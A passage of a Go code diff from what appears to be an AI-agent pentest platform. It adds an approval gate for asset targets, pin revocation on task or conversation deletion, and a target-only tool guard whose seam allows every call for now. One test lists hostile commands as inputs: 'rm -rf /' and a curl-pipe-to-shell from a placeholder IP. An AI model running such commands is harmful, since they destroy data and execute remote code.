+		t.Fatalf("%d target requests still open after the delete", n)
+	}
+	// Classic asks are not the gate's: untouched, as before.
+	if row, err := d.GetInterceptPending(classic); err != nil || row == nil || row.Status != "pending" {
+		t.Fatalf("classic ask after the delete = %+v, %v; want untouched", row, err)
+	}
+}
+
+// archiveTargetTask moves a task into the cold archive and returns the archive
+// id and its snapshot.
+func archiveTargetTask(t *testing.T, d *DB, taskID int64) (int64, *TaskArchiveSnapshot, *bytes.Buffer) {
+	t.Helper()
+	if err := d.EnsureLLMRecordsTable(); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.EnsureLLMUsageTable(); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.SetPaused(taskID, true); err != nil {
+		t.Fatal(err)
+	}
+	archive, err := d.QueueTaskArchive(taskID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM task_archives WHERE id=$1`, archive.ID) })
+	if claimed, err := d.ClaimTaskArchiveJob(t.Context()); err != nil || claimed == nil || claimed.ID != archive.ID {
+		t.Fatalf("archive claim = %+v, %v", claimed, err)
+	}
+	var llmRecords bytes.Buffer
+	snapshot, err := d.SnapshotTaskArchiveWithLLMRecords(taskID, &llmRecords)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := d.CompleteTaskArchive(archive.ID, snapshot, "/tmp/target-gate-task.tar.zst", "abc", 100, 50); err != nil {
+		t.Fatal(err)
+	}
+	return archive.ID, snapshot, &llmRecords
+}
+
+func TestArchiveStubDeleteRevokesPins(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	scope := TargetScopeRef{TaskID: task.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	archiveID, _, _ := archiveTargetTask(t, d, task.ID)
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 1 {
+		t.Fatalf("pin while the task is an archived stub = %+v, %v; want still active", active, err)
+	}
+	if _, err := d.QueueTaskArchiveDelete(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	if claimed, err := d.ClaimTaskArchiveJob(t.Context()); err != nil || claimed == nil || claimed.State != Deleting {
+		t.Fatalf("delete claim = %+v, %v", claimed, err)
+	}
+	if err := d.DeleteTaskArchiveStub(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].ID != pin.ID || pins[0].Status != TargetPinRevoked || pins[0].RevokedReason != TargetPinRevokedTaskDeleted {
+		t.Fatalf("pins after the stub delete = %+v, %v; want one pin revoked as task_deleted", pins, err)
+	}
+}
+
+// The archive carries neither pins nor the flag: both stay in the live tables
+// while the task is a stub and are there after the restore.
+func TestArchiveRestoreKeepsPinsAndFlag(t *testing.T) {
+	d := openTargetDB(t)
+	on := true
+	task := targetTask(t, d, TaskCreateOptions{TargetGate: &on})
+	scope := TargetScopeRef{TaskID: task.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	open, _ := openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20")
+	archiveID, snapshot, llmRecords := archiveTargetTask(t, d, task.ID)
+
+	var flag bool
+	if err := d.QueryRow(`SELECT target_gate FROM tasks WHERE id=$1`, task.ID).Scan(&flag); err != nil || !flag {
+		t.Fatalf("flag of the archived stub = %v, %v; want kept", flag, err)
+	}
+	if _, err := d.QueueTaskArchiveRestore(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	if claimed, err := d.ClaimTaskArchiveJob(t.Context()); err != nil || claimed == nil || claimed.State != Restoring {
+		t.Fatalf("restore claim = %+v, %v", claimed, err)
+	}
+	if _, err := d.RestoreTaskArchiveWithLLMRecords(archiveID, snapshot, 0, bytes.NewReader(llmRecords.Bytes())); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.CompleteTaskArchiveRestore(archiveID); err != nil {
+		t.Fatal(err)
+	}
+	live, err := d.GetTask(task.ID)
+	if err != nil || live == nil || !live.TargetGate {
+		t.Fatalf("restored task = %+v, %v; want the gate still on", live, err)
+	}
+	active, err := d.ActiveTargetPins(scope, "app.example.com", 443)
+	if err != nil || len(active) != 1 || active[0].ID != pin.ID {
+		t.Fatalf("pins after the restore = %+v, %v; want the pin still active", active, err)
+	}
+	// The request that was open at archive time comes back closed (a timeout,
+	// never an approval) with its key, and the key is free again.
+	row, err := d.GetInterceptPending(open)
+	if err != nil || row == nil || row.Status != "timeout" || row.DecidedBy != "system" {
+		t.Fatalf("restored open request = %+v, %v; want a system timeout", row, err)
+	}
+	if key, err := d.TargetRequestKey(open); err != nil || key != "new.example.com:443" {
+		t.Fatalf("restored target key = %q, %v", key, err)
+	}
+	if id, made := openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20"); !made || id == open {
+		t.Fatalf("request after the restore: id=%d created=%v, want a new row", id, made)
+	}
+}
+
+// Archives written before the gate have no target_key: the row restores with
+// NULL, a classic ask.
+func TestRestoreInterceptRowsWithoutTargetKey(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	id, err := d.CreateDecidedIntercept(0, 0, strconv.FormatInt(task.ID, 10), "worker", "Bash", nil, "allowed", "[model] allow",
+		&InterceptAudit{InitialAction: "allow", ExecutionStatus: "succeeded"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	var raw []byte
+	if err := d.QueryRow(`SELECT row_to_json(ip) FROM intercept_pending ip WHERE id=$1`, id).Scan(&raw); err != nil {
+		t.Fatal(err)
+	}
+	var row map[string]any
+	if err := json.Unmarshal(raw, &row); err != nil {
+		t.Fatal(err)
+	}
+	if _, ok := row["target_key"]; !ok {
+		t.Fatal("control: the live row was expected to carry the target_key column")
+	}
+	delete(row, "target_key")
+	archived, _ := json.Marshal([]map[string]any{row})
+	tx, err := d.Begin()
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer tx.Rollback()
+	if _, err := tx.Exec(`DELETE FROM intercept_pending WHERE id=$1`, id); err != nil {
+		t.Fatal(err)
+	}
+	if err := restoreInterceptRows(tx, archived); err != nil {
+		t.Fatal(err)
+	}
+	var key *string
+	var status string
+	if err := tx.QueryRow(`SELECT target_key, status FROM intercept_pending WHERE id=$1`, id).Scan(&key, &status); err != nil {
+		t.Fatal(err)
+	}
+	if key != nil || status != "allowed" {
+		t.Fatalf("restored row target_key=%v status=%s, want NULL and allowed", key, status)
+	}
+}
+
+// Deleting a conversation revokes its pins in the same transaction. The pins
+// stay readable; the request rows go with the conversation (cascade). A delete
+// that fails leaves the pins active.
+func TestConversationDeleteRevokesPinsInSameTx(t *testing.T) {
+	d := openTargetDB(t)
+	conv, other := targetConversation(t, d), targetConversation(t, d)
+	scope := TargetScopeRef{ConversationID: conv.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	kept := approveTarget(t, d, TargetScopeRef{ConversationID: other.ID}, "app.example.com", 443, "203.0.113.7")
+	openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20")
+	if pin.ConversationID == nil || *pin.ConversationID != conv.ID || pin.TaskID != nil {
+		t.Fatalf("conversation pin = %+v", pin)
+	}
+
+	// A reference without a delete rule makes the delete fail after the revoke
+	// statement has run inside the transaction.
+	if _, err := d.Exec(`CREATE TABLE IF NOT EXISTS test_conversation_delete_block (conversation_id BIGINT REFERENCES conversations(id))`); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DROP TABLE IF EXISTS test_conversation_delete_block`) })
+	if _, err := d.Exec(`INSERT INTO test_conversation_delete_block VALUES ($1)`, conv.ID); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.DeleteConversation(conv.ID); err == nil {
+		t.Fatal("control: the delete was expected to fail on the blocking reference")
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 1 || active[0].ID != pin.ID {
+		t.Fatalf("pins after a failed delete = %+v, %v; want the pin still active", active, err)
+	}
+	if got, err := d.GetConversation(conv.ID); err != nil || got == nil {
+		t.Fatalf("conversation after a failed delete = %+v, %v", got, err)
+	}
+
+	if _, err := d.Exec(`DELETE FROM test_conversation_delete_block`); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.DeleteConversation(conv.ID); err != nil {
+		t.Fatal(err)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].ID != pin.ID || pins[0].Status != TargetPinRevoked ||
+		pins[0].RevokedReason != TargetPinRevokedConversationDelete || pins[0].RevokedAt == nil ||
+		!slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.7"}) || pins[0].DecidedBy != "ARTEX" || pins[0].InterceptID == nil {
+		t.Fatalf("pins of the deleted conversation = %+v, %v; want one revoked pin, still readable", pins, err)
+	}
+	var rows int
+	if err := d.QueryRow(`SELECT count(*) FROM intercept_pending WHERE conversation_id=$1`, conv.ID).Scan(&rows); err != nil || rows != 0 {
+		t.Fatalf("%d request rows left after the delete (%v), want 0: the cascade stays", rows, err)
+	}
+	// The pin names a request row that is gone; it is kept as a plain number.
+	if gone, err := d.GetInterceptPending(*pins[0].InterceptID); err != nil || gone != nil {
+		t.Fatalf("request row of the pin = %+v, %v; want gone", gone, err)
+	}
+	if active, err := d.ActiveTargetPins(TargetScopeRef{ConversationID: other.ID}, "app.example.com", 443); err != nil || len(active) != 1 || active[0].ID != kept.ID {
+		t.Fatalf("the pin of another conversation was touched: %+v, %v", active, err)
+	}
+}
+
+// The batch delete revokes the pins of the ids it actually removed, and only
+// those.
+func TestConversationBatchDeleteRevokesOnlyDeletedIds(t *testing.T) {
+	d := openTargetDB(t)
+	gone, stays := targetConversation(t, d), targetConversation(t, d)
+	approveTarget(t, d, TargetScopeRef{ConversationID: gone.ID}, "app.example.com", 443, "203.0.113.7")
+	approveTarget(t, d, TargetScopeRef{ConversationID: stays.ID}, "app.example.com", 443, "203.0.113.7")
+	// A pin whose conversation id is in the request but does not exist: the
+	// delete removes nothing for it, so the pin must not be revoked.
+	const unknown = int64(1) << 60
+	if _, err := d.Exec(`INSERT INTO target_pins(conversation_id, host, port, pinned_ips) VALUES ($1, 'app.example.com', 443, '{203.0.113.7}')`, unknown); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, unknown) })
+
+	deleted, err := d.DeleteConversations([]int64{gone.ID, unknown})
+	if err != nil || !slices.Equal(deleted, []int64{gone.ID}) {
+		t.Fatalf("deleted = %v, %v; want only %d", deleted, err, gone.ID)
+	}
+	status := func(convID int64) (string, string) {
+		t.Helper()
+		pins, err := d.ListTargetPins(TargetScopeRef{ConversationID: convID})
+		if err != nil || len(pins) != 1 {
+			t.Fatalf("pins of conversation %d = %+v, %v", convID, pins, err)
+		}
+		return pins[0].Status, pins[0].RevokedReason
+	}
+	if s, reason := status(gone.ID); s != TargetPinRevoked || reason != TargetPinRevokedConversationDelete {
+		t.Fatalf("pin of the deleted conversation: %s/%s, want revoked/conversation_deleted", s, reason)
+	}
+	if s, _ := status(stays.ID); s != TargetPinActive {
+		t.Fatalf("pin of a conversation that was not in the request: %s, want active", s)
+	}
+	if s, _ := status(unknown); s != TargetPinActive {
+		t.Fatalf("pin of an id the delete did not remove: %s, want active", s)
+	}
+}
+
+func TestTaskTargetGateDefaultsOff(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	if task.TargetGate {
+		t.Fatal("a task created without the option has the gate on")
+	}
+	got, err := d.GetTask(task.ID)
+	if err != nil || got == nil || got.TargetGate {
+		t.Fatalf("stored task = %+v, %v; want the gate off", got, err)
+	}
+	off := false
+	if explicit := targetTask(t, d, TaskCreateOptions{TargetGate: &off}); explicit.TargetGate {
+		t.Fatal("a task created with the option false has the gate on")
+	}
+	c := targetConversation(t, d)
+	if c.TargetGate {
+		t.Fatal("a conversation created without the flag has the gate on")
+	}
+}
+
+func TestTaskTargetGatePatchRoundTrip(t *testing.T) {
+	d := openTargetDB(t)
+	on, off := true, false
+	task := targetTask(t, d, TaskCreateOptions{TargetGate: &on})
+	if !task.TargetGate {
+		t.Fatal("create with the option true returned the gate off")
+	}
+	if got, err := d.GetTask(task.ID); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("stored task = %+v, %v; want the gate on", got, err)
+	}
+	// A patch of another field leaves the flag alone.
+	name := "renamed"
+	if got, err := d.UpdateTask(task.ID, TaskPatch{Name: &name}); err != nil || got == nil || !got.TargetGate || got.Name != name {
+		t.Fatalf("after a name patch = %+v, %v; want the gate still on", got, err)
+	}
+	if got, err := d.UpdateTask(task.ID, TaskPatch{TargetGate: &off}); err != nil || got == nil || got.TargetGate || got.Name != name {
+		t.Fatalf("after switching off = %+v, %v", got, err)
+	}
+	if got, err := d.UpdateTask(task.ID, TaskPatch{TargetGate: &on}); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("after switching on = %+v, %v", got, err)
+	}
+	listed, err := d.ListTasks()
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, l := range listed {
+		if l.ID == task.ID && !l.TargetGate {
+			t.Fatal("the task list reports the gate off")
+		}
+	}
+}
+
+func TestConversationTargetGateRoundTrip(t *testing.T) {
+	d := openTargetDB(t)
+	c, err := d.CreateConversationGated("assistant", fmt.Sprintf("gated %d", time.Now().UnixNano()), nil, true)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.DeleteConversation(c.ID) })
+	if !c.TargetGate {
+		t.Fatal("create with the flag returned the gate off")
+	}
+	if got, err := d.GetConversation(c.ID); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("stored conversation = %+v, %v; want the gate on", got, err)
+	}
+	title, on, off := "renamed", true, false
+	if got, err := d.UpdateConversation(c.ID, ConversationPatch{Title: &title}); err != nil || got == nil || !got.TargetGate || got.Title != title {
+		t.Fatalf("after a title patch = %+v, %v; want the gate still on", got, err)
+	}
+	if got, err := d.UpdateConversation(c.ID, ConversationPatch{TargetGate: &off}); err != nil || got == nil || got.TargetGate || got.Title != title {
+		t.Fatalf("after switching off = %+v, %v", got, err)
+	}
+	if got, err := d.UpdateConversation(c.ID, ConversationPatch{TargetGate: &on}); err != nil || got == nil || !got.TargetGate {
+		t.Fatalf("after switching on = %+v, %v", got, err)
+	}
+	listed, err := d.ListConversations()
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, l := range listed {
+		if l.ID == c.ID && !l.TargetGate {
+			t.Fatal("the conversation list reports the gate off")
+		}
+	}
+}
+
+// A retest conversation takes the flag of the finding's task and none of its
+// pins.
+func TestRetestConversationCopiesFlagNotPins(t *testing.T) {
+	d := openTargetDB(t)
+	on := true
+	for _, tc := range []struct {
+		name string
+		opts TaskCreateOptions
+		want bool
+	}{
+		{"gate on", TaskCreateOptions{TargetGate: &on}, true},
+		{"gate off", TaskCreateOptions{}, false},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			task := targetTask(t, d, tc.opts)
+			approveTarget(t, d, TargetScopeRef{TaskID: task.ID}, "app.example.com", 443, "203.0.113.7")
+			fid, err := d.AddFinding(task.ID, 0, "retest-gate", "gated finding", "high", "summary", "evidence", "worker", nil)
+			if err != nil {
+				t.Fatal(err)
+			}
+			t.Cleanup(func() {
+				_, _ = d.Exec(`DELETE FROM conversations WHERE id IN (SELECT conversation_id FROM finding_retests WHERE finding_id=$1)`, fid)
+				_, _ = d.DeleteFinding(fid)
+			})
+			_, conv, created, err := d.CreateFindingRetest(t.Context(), fid, "")
+			if err != nil || !created || conv == nil {
+				t.Fatalf("retest: conv=%+v created=%v err=%v", conv, created, err)
+			}
+			if conv.TargetGate != tc.want {
+				t.Fatalf("retest conversation gate = %v, want %v", conv.TargetGate, tc.want)
+			}
+			if stored, err := d.GetConversation(conv.ID); err != nil || stored == nil || stored.TargetGate != tc.want {
+				t.Fatalf("stored retest conversation = %+v, %v", stored, err)
+			}
+			if pins, err := d.ListTargetPins(TargetScopeRef{ConversationID: conv.ID}); err != nil || len(pins) != 0 {
+				t.Fatalf("retest conversation inherited pins: %+v, %v", pins, err)
+			}
+		})
+	}
+	// A finding without a task: the gate is off.
+	fid, err := d.AddFinding(0, 0, "retest-gate", "orphan finding", "high", "summary", "evidence", "worker", nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_, _ = d.Exec(`DELETE FROM conversations WHERE id IN (SELECT conversation_id FROM finding_retests WHERE finding_id=$1)`, fid)
+		_, _ = d.DeleteFinding(fid)
+	})
+	if _, conv, _, err := d.CreateFindingRetest(t.Context(), fid, ""); err != nil || conv == nil || conv.TargetGate {
+		t.Fatalf("retest of a finding without a task: conv=%+v err=%v; want the gate off", conv, err)
+	}
+}
+
+// Every human decision records who took it and from where, classic asks
+// included. decided_by keeps the actor class.
+func TestResolveInterceptByRecordsApprover(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	create := func() int64 {
+		t.Helper()
+		id, err := d.CreateInterceptPending(0, 0, strconv.FormatInt(task.ID, 10), "worker", "Bash", nil, "classic ask",
+			&InterceptAudit{InitialAction: "ask", ExecutionStatus: "not_started", Correlation: "exact"})
+		if err != nil {
+			t.Fatal(err)
+		}
+		return id
+	}
+	id := create()
+	if ok, err := d.ResolveInterceptBy(id, "allowed", "allow", "user approved execution", "human", "ARTEX", "198.51.100.9"); err != nil || !ok {
+		t.Fatalf("resolve: ok=%v err=%v", ok, err)
+	}
+	got, err := d.GetInterceptDetail(id)
+	if err != nil || got == nil || got.DecidedBy != "human" || got.Audit == nil || got.Audit.Approver != "ARTEX" ||
+		got.Audit.ApproverAddr != "198.51.100.9" || got.Audit.EffectiveAction != "allow" || got.Audit.ExecutionStatus != "awaiting_result" {
+		t.Fatalf("decided classic ask = %+v, %v", got, err)
+	}
+	// A system decision has no author.
+	id = create()
+	if ok, err := d.ResolveIntercept(id, "timeout", "deny", "approval timed out", "system"); err != nil || !ok {
+		t.Fatalf("resolve: ok=%v err=%v", ok, err)
+	}
+	var raw []byte
+	if err := d.QueryRow(`SELECT audit FROM intercept_pending WHERE id=$1`, id).Scan(&raw); err != nil {
+		t.Fatal(err)
+	}
+	if strings.Contains(string(raw), "approver") {
+		t.Fatalf("a system decision recorded an approver: %s", raw)
+	}
+}

db/task_archives_restore.go

@@ -766,6 +766,13 @@ WHERE archive.id=$1 FOR UPDATE OF archive,task`, archiveID).Scan(&taskID, &expID
 	if !errors.Is(err, sql.ErrNoRows) {
 		return err
 	}
+	// As in DeleteTaskCascadePrepared: pins stay as revoked history.
+	if err := revokeTaskPins(tx, taskID); err != nil {
+		return err
+	}
+	if err := settleTaskTargetRequests(tx, taskID); err != nil {
+		return err
+	}
 	if _, err := tx.Exec(`DELETE FROM tasks WHERE id=$1 AND archived_at IS NOT NULL`, taskID); err != nil {
 		return err
 	}

db/tasks.go

@@ -52,6 +52,9 @@ type Task struct {
 	// PlanQuietMode gates the planner quiet-mode (#86): edge-triggered rounds
 	// are skipped while work is in flight and the open-goal set is unchanged.
 	PlanQuietMode bool `json:"plan_quiet_mode"`
+	// TargetGate is the per-task opt-in of the approval gate for asset targets.
+	// false (default) = no gate, behaviour unchanged.
+	TargetGate bool `json:"target_gate"`
 	// CoverageEnabled is the master switch of the "asset coverage" feature (default true). When false:
 	// do not compute/show test coverage, do not auto-accumulate task_scope (source=auto), do not open
 	// add_task_scope/list_untested_assets to the agent, and do not inject the coverage block into the
@@ -173,6 +176,8 @@ type TaskCreateOptions struct {
 	// chain instead of the single active head. nil = off (default), preserving
 	// the ordered-failover semantics.
 	LLMRotate *bool
+	// TargetGate opts the task into the approval gate for asset targets; nil = off.
+	TargetGate *bool
 }
 
 // CreateTaskWithOptions creates an exploration, task, direct source relations,
@@ -251,10 +256,11 @@ VALUES ($1, 'fact', $2, 0, 'origin', 'system')`, expID, string(originPayload));
 	if opts.LLMRotate != nil {
 		rotate = *opts.LLMRotate
 	}
+	t.TargetGate = opts.TargetGate != nil && *opts.TargetGate
 	if err := tx.QueryRow(`
-INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled, llm_rotate)
-VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10,$11)
-RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled, rotate).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
+INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled, llm_rotate, target_gate)
+VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10,$11,$12)
+RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled, rotate, t.TargetGate).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
 		return nil, err
 	}
 	if err := insertTaskRelations(tx, t.ID, opts.SourceTaskIDs); err != nil {
@@ -370,11 +376,11 @@ func insertTaskLLMProfiles(tx *sql.Tx, taskID int64, profileIDs []int64) error {
 
 const taskCols = `id, COALESCE(name,''), category_id,
 COALESCE((SELECT category.name FROM task_categories category WHERE category.id=tasks.category_id),''),
-description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), COALESCE(llm_rotate,false), first_run_at, deadline_at`
+description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), COALESCE(llm_rotate,false), first_run_at, deadline_at, target_gate`
 
 func scanTask(sc interface{ Scan(...any) error }) (*Task, error) {
 	var t Task
-	if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.LLMRotate, &t.FirstRunAt, &t.DeadlineAt); err != nil {
+	if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.LLMRotate, &t.FirstRunAt, &t.DeadlineAt, &t.TargetGate); err != nil {
 		return nil, err
 	}
 	t.Pinned = t.PinnedAt != nil
@@ -420,6 +426,8 @@ type TaskPatch struct {
 	Pinned *bool
 	// PlanQuietMode flips the per-task quiet-mode switch (#86); nil = leave unchanged.
 	PlanQuietMode *bool
+	// TargetGate flips the per-task target-gate opt-in; nil = leave unchanged.
+	TargetGate *bool
 }
 
 // UpdateTask applies a partial task name/pin mutation and returns the updated row.
@@ -432,9 +440,10 @@ func (d *DB) UpdateTask(id int64, patch TaskPatch) (*Task, error) {
 		WHEN $4::boolean THEN COALESCE(pinned_at, now())
 		ELSE NULL
 	END,
-	plan_quiet_mode = CASE WHEN $5::boolean THEN $6 ELSE plan_quiet_mode END
+	plan_quiet_mode = CASE WHEN $5::boolean THEN $6 ELSE plan_quiet_mode END,
+	target_gate = CASE WHEN $7::boolean THEN $8 ELSE target_gate END
 WHERE id=$1 AND deleted_at IS NULL
-RETURNING `+taskCols, id, patch.Name != nil, patch.Name, patch.Pinned, patch.PlanQuietMode != nil, patch.PlanQuietMode))
+RETURNING `+taskCols, id, patch.Name != nil, patch.Name, patch.Pinned, patch.PlanQuietMode != nil, patch.PlanQuietMode, patch.TargetGate != nil, patch.TargetGate))
 	if err == sql.ErrNoRows {
 		return nil, nil
 	}
@@ -673,6 +682,14 @@ DELETE FROM assets a USING deletable d WHERE a.id=d.id`, id, expID)
 	}
 	// llm_usage (the token metering ledger) is intentionally NOT deleted with the
 	// task — it is kept as historical accounting even after the task is gone.
+	// Target pins and approval rows are kept as history too: the pins are revoked,
+	// the open target requests settled, in this transaction.
+	if err := revokeTaskPins(tx, id); err != nil {
+		return result, err
+	}
+	if err := settleTaskTargetRequests(tx, id); err != nil {
+		return result, err
+	}
 	if _, err := tx.Exec(`DELETE FROM tasks WHERE id=$1`, id); err != nil {
 		return result, err
 	}

guard/guard.go

@@ -34,6 +34,7 @@ type Guard struct {
 	attrib      map[string]int // failure attribution counts (Observer / G5)
 	reg         *hook.Registry
 	interceptor *intercept.Interceptor // optional; nil disables user-configured rules
+	targetOnly  bool                   // planner / main agent: target gate only, no rules, no judge, no audit ring
 }
 
 // New creates a Guard without user-configured intercept rules (used for pentest
@@ -43,6 +44,16 @@ func New() *Guard { return newGuard(nil) }
 // NewWithInterceptor creates a Guard with user-configured intercept rules.
 func NewWithInterceptor(ic *intercept.Interceptor) *Guard { return newGuard(ic) }
 
+// NewTargetOnly creates the Guard for the planner and the main agent. Their tool
+// calls pass through the target gate only: the intercept rules and the fallback
+// judge are not extended to them, and their calls are not written to the audit
+// ring (which keeps the worker history of the task's main Guard).
+func NewTargetOnly(ic *intercept.Interceptor) *Guard {
+	g := &Guard{attrib: map[string]int{}, interceptor: ic, targetOnly: true}
+	g.reg = hook.NewRegistry().On(hook.PreToolUse, g.preToolUse)
+	return g
+}
+
 func newGuard(ic *intercept.Interceptor) *Guard {
 	g := &Guard{attrib: map[string]int{}, interceptor: ic}
 	g.reg = hook.NewRegistry().
@@ -55,6 +66,10 @@ func newGuard(ic *intercept.Interceptor) *Guard {
 func (g *Guard) Hooks() *hook.Registry { return g.reg }
 
 func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
+	if g.targetOnly {
+		// Not recorded: the audit ring is for the gated worker and chat calls.
+		return g.applyIntercept(ctx, ev)
+	}
 	// Extract the shell-command surface for the audit log: Bash + the interactive-shell
 	// tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
 	// longer hard-coded here — it now lives in the DB intercept rules, evaluated by
@@ -78,9 +93,19 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
 	return g.applyIntercept(ctx, ev)
 }
 
+// targetGate is the seam of the approval gate for asset targets. The gate is not
+// wired in yet: every call is allowed, and nothing is extracted, resolved, read
+// or written.
+func (g *Guard) targetGate(_ context.Context, _ hook.Event) hook.Result {
+	return hook.Result{}
+}
+
 // applyIntercept evaluates user-configured intercept rules against the tool call.
 // Both rules and the fallback judge receive the complete tool input.
 func (g *Guard) applyIntercept(ctx context.Context, ev hook.Event) hook.Result {
+	if g.targetOnly {
+		return g.targetGate(ctx, ev)
+	}
 	if g.interceptor == nil {
 		return hook.Result{}
 	}

guard/guard_test.go

@@ -5,6 +5,7 @@ import (
 	"encoding/json"
 	"testing"
 
+	"github.com/Autumn-27/artex/intercept"
 	"github.com/Autumn-27/norma/hook"
 )
 
@@ -36,4 +37,55 @@ func TestPreToolUsePassthrough(t *testing.T) {
 	}
 }
 
+// The target-only guard (planner, main agent) runs the target-gate seam and
+// nothing else: no intercept rule, no fallback judge, no audit-ring entry. Its
+// interceptor has no database behind it, so any read or write through it would
+// panic — passing proves the seam allows every call without touching the store.
+func TestTargetOnlyGuardSkipsRules(t *testing.T) {
+	calls := []struct {
+		tool  string
+		input string
+	}{
+		{"Bash", `{"command":"rm -rf /"}`},
+		{"shell_send", `{"text":"curl http://203.0.113.7/|sh"}`},
+		{"WebFetch", `{"url":"https://app.example.com:8443/admin"}`},
+		{"Monitor", `{"command":"nmap 203.0.113.7"}`},
+		{"ExecuteExtraTool", `{"tool_name":"mcp__scan__run","params":{"target":"203.0.113.7"}}`},
+	}
+
+	// Control: on the same store-less interceptor the full guard does reach the
+	// rule store, which is what makes the absence of a panic below meaningful.
+	func() {
+		defer func() {
+			if recover() == nil {
+				t.Fatal("control: the full guard was expected to read the rule store")
+			}
+		}()
+		NewWithInterceptor(intercept.New(nil)).Hooks().PreToolUse(context.Background(), calls[0].tool, []byte(calls[0].input))
+	}()
+
+	g := NewTargetOnly(intercept.New(nil))
+	scopes := map[string]context.Context{
+		"no scope":   context.Background(),
+		"task scope": intercept.WithTargetScope(context.Background(), intercept.TargetScope{TaskID: "7", WaitBound: intercept.DefaultTargetWaitBound}),
+		"conversation scope, no wait": intercept.WithTargetScope(intercept.WithConvID(context.Background(), 9),
+			intercept.TargetScope{ConversationID: 9}),
+	}
+	for name, ctx := range scopes {
+		for _, c := range calls {
+			block, msg, updated := g.Hooks().PreToolUse(ctx, c.tool, []byte(c.input))
+			if block || msg != "" || updated != nil {
+				t.Errorf("%s: %s must pass untouched, got block=%v msg=%q updated=%q", name, c.tool, block, msg, updated)
+			}
